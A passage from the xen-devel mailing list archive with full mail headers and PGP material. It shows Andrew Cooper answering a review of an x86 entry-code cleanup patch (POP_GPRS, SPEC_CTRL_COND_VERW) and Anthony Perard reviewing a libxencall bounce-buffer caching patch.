ICAgZXZ0Y2huX3NlbmQoZCwgZC0+c3VzcGVuZF9ldnRjaG4pOw0KLSAgICBlbHNlDQorICAg
IGVsc2Ugew0KKyAgICAgICAgZG9tYWluX2NoYW5nZWRfc3RhdGUoZCk7DQogICAgICAgICAg
c2VuZF9nbG9iYWxfdmlycShWSVJRX0RPTV9FWEMpOw0KKyAgICB9DQogIH0NCg0KICBzdGF0
aWMgdm9pZCB2Y3B1X2NoZWNrX3NodXRkb3duKHN0cnVjdCB2Y3B1ICp2KQ0KDQoNCg0KSnVl
cmdlbg0K
--------------tkAw6SFUpVzjxrKeqZ8U5DQ0
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBA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ZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------tkAw6SFUpVzjxrKeqZ8U5DQ0--

--------------TEVojAt0OVMykQIFf1yFbDW8--

--------------VmX5NApdYw10p7qle20XKHvH
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpNBOIFAwAAAAAACgkQsN6d1ii/Ey9a
GAf/alIUTA9E6JCivs1B1zx1xZqhUh6M0ZZNQrm5xWc9sQkpv3hUwHDgYXc0QtfJ/GipmEI1x4Gt
2tS63UcmmpN0CN83q7jqfy7nfskKiYtcj0Dpz2KDuRuUHEvb/7KDFOFXErKXdqEmmLdmVpFIpwDz
t4qiSZHpJGM/xk3Pj3b6XFEfAakCVZzWAKGkDLO6WqYjyCglCcQM2tu3g6Q9xq5GJJ1isSBZx/ex
NBABkqKYBzxlA1EpYht4HqYiNQyWxVKENNbkzoSeNSByuW7UfmFc2vzJ/VQgSjHC4Ll4pWQ2wlP2
lC99GydZBsoc0GRPwxmXnvFA9J1V8K5A36rBW6uvGQ==
=CiV1
-----END PGP SIGNATURE-----

--------------VmX5NApdYw10p7qle20XKHvH--


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 13:54:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 13:54:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356253.1610891 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh6FV-0001Ac-Aq; Tue, 07 Jul 2026 13:54:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356253.1610891; Tue, 07 Jul 2026 13:54:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh6FV-0001AV-7M; Tue, 07 Jul 2026 13:54:09 +0000
Received: by outflank-mailman (input) for mailman id 1356253;
 Tue, 07 Jul 2026 13:54:08 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wh6FU-00018t-4k
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 13:54:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh6FT-00DeOf-Hu
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 15:54:07 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4d04f1-5cb7-0a2a0a5109dd-0a2a450393c8-34
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 15:54:07 +0200
Received: from [40.107.209.48]
 (helo=PH8PR06CU001.outbound.protection.outlook.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4d04fd-ec1a-0a2a45030019-286bd130d5e2-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 15:54:07 +0200
Received: from CH8PR03MB8276.namprd03.prod.outlook.com (2603:10b6:610:2c1::14)
 by DS0PR03MB7728.namprd03.prod.outlook.com (2603:10b6:8:202::9) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Tue, 7 Jul
 2026 13:54:01 +0000
Received: from CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e]) by CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e%3]) with mapi id 15.21.0181.008; Tue, 7 Jul 2026
 13:54:01 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=REAaQS/aLw+U9MN8NIIAxGP5qVlgxeeDyvdfq1B9GfZ7Ogj1v4nnXL0Jw8sTIRCEJc3yi3zw7g59/EiZkbjmE3QwE5KuovScgjOYkM+9xGyZmiU+/Em+VjtF7n4GMHVAMN7f47AZ8mFVLYF2pIDoHlKfofI7blsJ21qDs2lCI7Tq4Pn8pp7oeVHXpsTOtbnUL7q7trvjHihn+UlhlwlX/FO++60nGPJGQGRDrFX7gzyY47JHGQ+H2M+XfqeN+WxQsZPGAVKtdMEYw0/KzP9hvBJj9BxTbldlH7YyamIst2DJJAwbgVMgQLZILm7oVQs7S2xx7cugyZhT1GzG1TSaLQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=KGONrJS5hsFqmZoox5vsld4O+CfCWiJ33ciRSZTGjX4=;
 b=Tz4xYmk2rGOlciaohsIbH1VaXlU0/Dfey5FQ4+WwtDBtgRPFVqZxCrMdkDtB8tsJQvJmYU/R7FSv+hhhIbMmxJwsqXM1CNmiiGx61Xs8Fc9fNCzLBJrdWFCFNmoEADj3UwSsD/j1giFcMeURSCNMSy7bzaVgJmvoPwOrKgYnjFAWEetaJYF0fl7L2eKOg84gBux2q33H8IFJsSiVg8zk7jJPEoekfpqCzT0A1tot8+HQgsQlvOMDqSWhoDUCjBQsRcS0KBYCSBZIoa2IHdAYKfqGdFoWLrO0sS5Nk18ZxleqrrOTletL1Fv2emNzhaBVlsiFMVBEWFFcGsC6Xus1TQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=KGONrJS5hsFqmZoox5vsld4O+CfCWiJ33ciRSZTGjX4=;
 b=frfoMS/ftQH5x2hi5ZkqQJoRANE++Nzi3VQAwMbUw1KaAI3C8QIlSAgdLmB/IMuv3uHkD3EjZZo/2sAjLIb84Dd1BtNlQoy67VJZaf+ny9Xy0pdc2x0NZOJbPBOiDaN9SfkGUfvWWBieRqdemLZaeT8Wtm7Gs95ECeqU9uQ8wmM=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <52991ae0-690d-4e47-92f5-1e81ad5979d1@citrix.com>
Date: Tue, 7 Jul 2026 14:53:56 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH 2/3] x86/entry: Use POP_GPRS and remove RESTORE_ALL
To: Jan Beulich <jbeulich@suse.com>
References: <20260706153415.1264750-1-andrew.cooper3@citrix.com>
 <20260706153415.1264750-3-andrew.cooper3@citrix.com>
 <25cdcaa0-64cf-4014-ae52-3114f39abea7@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPEpE6y9ZjI4XB8ad1G4oBHVGK5LMsvg22PfMJ
 ISWFSHoF/B5+lHkCKWkFxZ0gZn33ju5n6/FOdEx4B8cMJt+cWwARAQABzSlBbmRyZXcgQ29v
 cGVyIDxhbmRyZXcuY29vcGVyM0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/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <25cdcaa0-64cf-4014-ae52-3114f39abea7@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P265CA0089.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:2bc::6) To CH8PR03MB8276.namprd03.prod.outlook.com
 (2603:10b6:610:2c1::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8276:EE_|DS0PR03MB7728:EE_
X-MS-Office365-Filtering-Correlation-Id: 5905a34d-a72b-410c-bb27-08dedc2f3278
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|1800799024|23010399003|376014|4143699003|6133799003|11063799006|56012099006|22082099003|18002099003|3023799007;
X-Microsoft-Antispam-Message-Info:
	d8dTsgshjcsJ5vXweTDGxTq4iDHAmJGzMKnZv3pNYfDXnpUTkqmF/+vHI9G9d+SSN+6q60viz6nNDSuAcKr60J5EUD7HHiYUxS/oPEzikqDSlowRFs/29oVpnJ5pPsf4D7cEDMDkoKsylF2bliiNbQ8CtDCFU/Vfz25dNHyA2CF1eMFgaQShDD1lBt5A9/L+GbpybaAw3SZoPY79Fyv3izZhBlUfuQU7/WFMq0B2hGrQNjbZlMWQhhW73n/Xh2RsGc9klvD4AKiEaSvW/gAtC20ir72J3imF05jA0ddhyS0WtTBW9Tyw2pX537nvuICdsbFEhWkHhHAQS+08ErPPpOQ+SwqINbhmIj3vxoPijGMAyDVthJBnjWFWw+bLKWBx5y7DEzbjhdodxTKcG8OF66s9uTZDP+nSmYRuHC0iumLD7lZsaHfH0uKTCWlUtavtVXfNcX2OA5Fqth2CA9sEDwKvNJJ2eLNXXo0LRZ6K5Wbu8XnAQ+PbePPUanzmeufXjvT91VhtJ5dwjkfob3YLEWE2aAakSR/wO4HS60YwJUSPfMFiDW4x4uYYhHsq08qtudnHM6z/JluSc7/QOONtE3uVJ3RPZP3xxoWmZGAhGryeotOA4L6GXxpfeKvfaRh0khUqONlLLbq7cLAZ20Vq4GplxhjgQrCzySzNMxEjVsQ=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8276.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(23010399003)(376014)(4143699003)(6133799003)(11063799006)(56012099006)(22082099003)(18002099003)(3023799007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?WmFKd09HMG8wcUhKVE1rS1dpVmkyYnJjbDFoRTViZERFK0JXTk9EM0t4VGFV?=
 =?utf-8?B?RkxoWGdkQ2xyMWxSU3U4WnBoeVN0a1pRZkVhenlwc0htSXR0ajBxWmF3ajhK?=
 =?utf-8?B?eUlUR2F1MGlPMDFwVkNqTXlPMEhXRTZQQU1jNlF3bFlYWWEyaEpXbUhWZ0JT?=
 =?utf-8?B?TW5rdndmdzdoM1o5WEwxZW5QKzhkZ1JldnZRRElqZUh4L2lPR0V6bG82MlZs?=
 =?utf-8?B?ODFmbVF1aThLQzNTWTI2b01aOHEzSGRyMHl0U1RmOXB6VDZwSEgxbGFKbGV0?=
 =?utf-8?B?a3hFZVZFQUtaL0JWaWNwZkZuVWVtdjh5cm5FVUJnZ1JPM29RNHgzY202Q0pk?=
 =?utf-8?B?MDlZbE9IQkpSS2taOEVvWFRVY0JEUko5UTdtajdzZWFvamRXUURnOXErUGIz?=
 =?utf-8?B?ZU9uOTV5OG5YdTZKV3FYVTB3S1VxbnV2UlE0MzZnOHZUT0pZRnNvaHhzL051?=
 =?utf-8?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Q0N5NW5hTVRU?=
 =?utf-8?B?TmtTcmw0ejAzUXpPS3VTRFZBUVArVW0wZGV5enlZWTd3b0g0aGZJMllWN0pr?=
 =?utf-8?B?YTR0Wm1hNStuNWFIeGlVZFI5UmRJckxLVzg3dGlhajFDNldKTHZCdz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 5905a34d-a72b-410c-bb27-08dedc2f3278
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8276.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 07 Jul 2026 13:54:00.8671
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: O8U70NtvPuvOt4gB4C/fNmq3MReo99XGY/OgFPI6xf8NRBP0J0uKl5VReOM4el1nzRgsG5O6onS5/OBsXcaCHwO+xvSdcPaRFn2cV6itavA=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS0PR03MB7728
X-purgate-ID: tlsNG-33051d/1783432447-BD5BC5D1-0F56EBF6/0/0
X-purgate-type: clean
X-purgate-size: 3240

On 07/07/2026 8:03 am, Jan Beulich wrote:
> On 06.07.2026 17:34, Andrew Cooper wrote:
>> POP_GPRS is shorter than RESTORE_ALL in terms of emitted code.
>>
>> By separating the popping of entry_vector/error_code off the stack,
>> SPEC_CTRL_COND_VERW doesn't need custom displacements.
>>
>> Get rid of the compat=1 special case for PV32.  It's not obviously a win, and
>> PV32 is getting increasingly rare these days.
>>
>> No functional change.
>>
>> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> Reviewed-by: Jan Beulich <jbeulich@suse.com>

Thanks.

> as-is, however ...
>
>> --- a/xen/arch/x86/x86_64/compat/entry.S
>> +++ b/xen/arch/x86/x86_64/compat/entry.S
>> @@ -160,12 +160,11 @@ FUNC(compat_restore_all_guest)
>>          /* WARNING! `ret`, `call *`, `jmp *` not safe beyond this point. */
>>          SPEC_CTRL_EXIT_TO_PV    /* Req: a=spec_ctrl %rsp=regs/cpuinfo, Clob: cd */
>>  
>> -        RESTORE_ALL adj=8, compat=1
>> +        POP_GPRS
>>  
>> -        /* Account for ev/ec having already been popped off the stack. */
>> -        SPEC_CTRL_COND_VERW \
>> -            scf=STK_REL(CPUINFO_scf,      CPUINFO_rip), \
>> -            sel=STK_REL(CPUINFO_verw_sel, CPUINFO_rip)
>> +        SPEC_CTRL_COND_VERW     /* Req: %rsp=eframe                    Clob: efl */
>> +
>> +        add     $8, %rsp        /* Pop ev/ec off the stack */
>>  
>>          jmp     iret_to_guest
>>  END(compat_restore_all_guest)
>> --- a/xen/arch/x86/x86_64/entry.S
>> +++ b/xen/arch/x86/x86_64/entry.S
>> @@ -226,7 +226,8 @@ FUNC_LOCAL(restore_all_guest)
>>          /* WARNING! `ret`, `call *`, `jmp *` not safe beyond this point. */
>>          SPEC_CTRL_EXIT_TO_PV    /* Req: a=spec_ctrl %rsp=regs/cpuinfo, Clob: cd */
>>  
>> -        RESTORE_ALL
>> +        POP_GPRS
>> +
>>          BUILD_BUG_ON(TRAP_syscall & 0xff)
>>          testb $TRAP_syscall >> 8, EFRAME_entry_vector + 1(%rsp)
>>          jz    iret_exit_to_guest
>> @@ -753,20 +754,17 @@ UNLIKELY_END(exit_cr3)
>>          /* WARNING! `ret`, `call *`, `jmp *` not safe beyond this point. */
>>          SPEC_CTRL_EXIT_TO_XEN /* Req: %r12=ist_exit %r14=end %rsp=regs, Clob: abcd */
>>  
>> -        RESTORE_ALL adj=8
>> +        POP_GPRS
>>  
>>          /*
>>           * When the CPU pushed this exception frame, it zero-extended eflags.
>>           * For an IST exit, SPEC_CTRL_EXIT_TO_XEN stashed shadow copies of
>>           * scf and ver_sel above eflags, as we can't use any GPRs,
>>           * and we're at a random place on the stack, not in a CPUFINFO block.
>> -         *
>> -         * Account for ev/ec having already been popped off the stack.
>>           */
>> -        SPEC_CTRL_COND_VERW \
>> -            scf=STK_REL(EFRAME_shadow_scf, EFRAME_rip), \
>> -            sel=STK_REL(EFRAME_shadow_sel, EFRAME_rip)
>> +        SPEC_CTRL_COND_VERW     /* Req: %rsp=eframe                    Clob: efl */
>>  
>> +        add     $8, %rsp        /* Pop ev/ec off the stack */
>>          iretq
>>  END(restore_all_xen)
> ... both uses of SPEC_CTRL_COND_VERW's with arguments go away. Shouldn't
> the macro thus also be pruned of its parameters?

Not in this patch.

~Andrew


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 14:06:02 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 14:06:02 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356267.1610900 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh6Qu-0003DQ-Fj; Tue, 07 Jul 2026 14:05:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356267.1610900; Tue, 07 Jul 2026 14:05:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh6Qu-0003DJ-D3; Tue, 07 Jul 2026 14:05:56 +0000
Received: by outflank-mailman (input) for mailman id 1356267;
 Tue, 07 Jul 2026 14:05:54 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f3ce63a3200080a8@swg.vates.tech>)
 id 1wh6Qs-0003D9-M6
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 14:05:54 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh6Qr-004S0H-8S
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 16:05:53 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f3ce63a3200080a8@swg.vates.tech>)
 id 6a4d07b9-2eae-0a2a0a5409dd-0a2a4505a8dc-28
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:05:53 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f3ce63a3200080a8@swg.vates.tech>)
 id 6a4d07c0-3cb2-0a2a45050019-b9ff1c128c73-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 16:05:52 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f3ce63a3200080a8.006 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Tue, 07 Jul 2026 14:05:48 +0000
Received: from l14 (lfbn-lyo-1-414-55.w2-7.abo.wanadoo.fr [2.7.24.55])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 0373881DCD;
 Tue,  7 Jul 2026 16:05:47 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=TE9+kYqfCnfOjF1iBFqeztokY3ElWOu01UlcUipL4RE=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=KNMAIIczwbLQjCx988Nn9ThRg+VDNiWTkczpT14SnjBZSexnS1liyz+iEtjBMHGiVqKP/UzUH
 UZsmGZVjOzONVK6XiVL+4pzW1x+7j+pYnRGGxjsOBlCaogaU14CX7hNlTIR5Hzl27kFcngpSNkC
 0z5Jlrlvj/+f8ydxAFSAP3/mj988Af6zyfQyFMz4K72DZc8tJxq1yAMYdHJbkM9+qnt1sERUQM3
 RRh6hkeGjsaG7T2m4ItVX1Y/qo6Nocx7igC1msNUudareEFHSWhbkTeFmUlzDm1RgEC0XzC95Kn
 9zdSqSUbP+DIJod1NydU7WRwU2fh7xrjtxDtQn/0vFxA==
X-Zone-Loop: 217fcfdc882b2dffc333b01cef5a3fccbb22ec95630e
x-campaign-type: default
x-transaction-id: f61ae23f-a3cc-4477-afc7-995a38185a4a
x-swg-uid: 01-25d4683c-593d-46a8-a718-a4e4f6f36710
X-Mailer: Sweego
Message-ID:
 <1783433149.8631fc262581453bbf619ec5b2062170.19f3ce63a3200080a8@vates.tech>
x-swg-bid: 1783433149.8631fc262581453bbf619ec5b2062170.19f3ce63a3200080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Tue, 7 Jul 2026 16:05:47 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Edwin =?iso-8859-1?B?VPZy9ms=?= <edwin.torok@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Frediano Ziglio <frediano.ziglio@citrix.com>
Subject: Re: [PATCH v6 06/16] libs/call: cache up to 4 pages in hypercall
 bounce buffers
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-7-frediano.ziglio@citrix.com>
 <1783432302.8631fc262581453bbf619ec5b2062170.19f3cd94e2d00080a8@vates.tech>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <1783432302.8631fc262581453bbf619ec5b2062170.19f3cd94e2d00080a8@vates.tech>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.372.ce9d67684a397b56.19f3ce63715.b25cd7cf8666027f=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783433148181
X-purgate-ID: tlsNG-c201ff/1783433153-14F072B8-355E867E/0/0
X-purgate-type: clean
X-purgate-size: 2174

---=Part.372.ce9d67684a397b56.19f3ce63715.b25cd7cf8666027f=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Tue, Jul 07, 2026 at 03:51:40PM +0200, Anthony PERARD wrote:
> On Fri, Jun 19, 2026 at 02:04:51PM +0100, Frediano Ziglio wrote:
> > From: Edwin T=C3=B6r=C3=B6k <edwin=2Etorok@citrix=2Ecom>
> >=20
> > During migration there are a lot of mmap/munmap calls,
> > because `xc_get_pfn_type_batch` exceeds the default hypercall bounce
> > buffer cache size, and needs to allocate every time it is called=2E
>=20
> I think xc_get_pfn_type_batch() would allocate a buffer of 2 page top,
> in write_batch(), right ?

(because nr_pfns <=3D MAX_BATCH_SIZE, and we allocate
nr_pfns*sizeof(unsigned  long)

> > `munmap` is slow, especially in a PV Dom0 (takes an emulation fault),
> > so is best avoided=2E
> >=20
> > Eventually it'd be good if the memory pool from  xmalloc_tlsf=2Ec
> > was reused here, but for now make it handle the commonly encountered
> > sizes (so far up to 4 pages)=2E

So do you know what would allocate 4 pages?

In anycase, I guess it's ok to keep an allocation of 160kb
for a short while=2E

> > diff --git a/tools/libs/call/buffer=2Ec b/tools/libs/call/buffer=2Ec
> > index 155e4f9d43=2E=2E2f0515c273 100644
> > --- a/tools/libs/call/buffer=2Ec
> > +++ b/tools/libs/call/buffer=2Ec
> > @@ -49,6 +49,9 @@ static void *cache_alloc(xencall_handle *xcall, size=
_t nr_pages)
> >  {
> >      void *p =3D NULL;
> > =20
> > +    if ( nr_pages =3D=3D 0 )
> > +        return NULL;
>=20
> By doing that check here, we don't update the stat anymore=2E And it's
> getting out-of-sync with the updates done in cache_free()=2E
>=20
> Before, we where returning a cache entry for that, and cache_hit++=2E I
> think it's ok to return cache_miss++ instead=2E
>=20

The rest of the patch looks fine to me, and I guess is ok=2E

(and I send the previous mail a bit too soon)

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.372.ce9d67684a397b56.19f3ce63715.b25cd7cf8666027f=---


From xen-devel-bounces@lists.xenproject.org Tue Jul 07 14:41:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
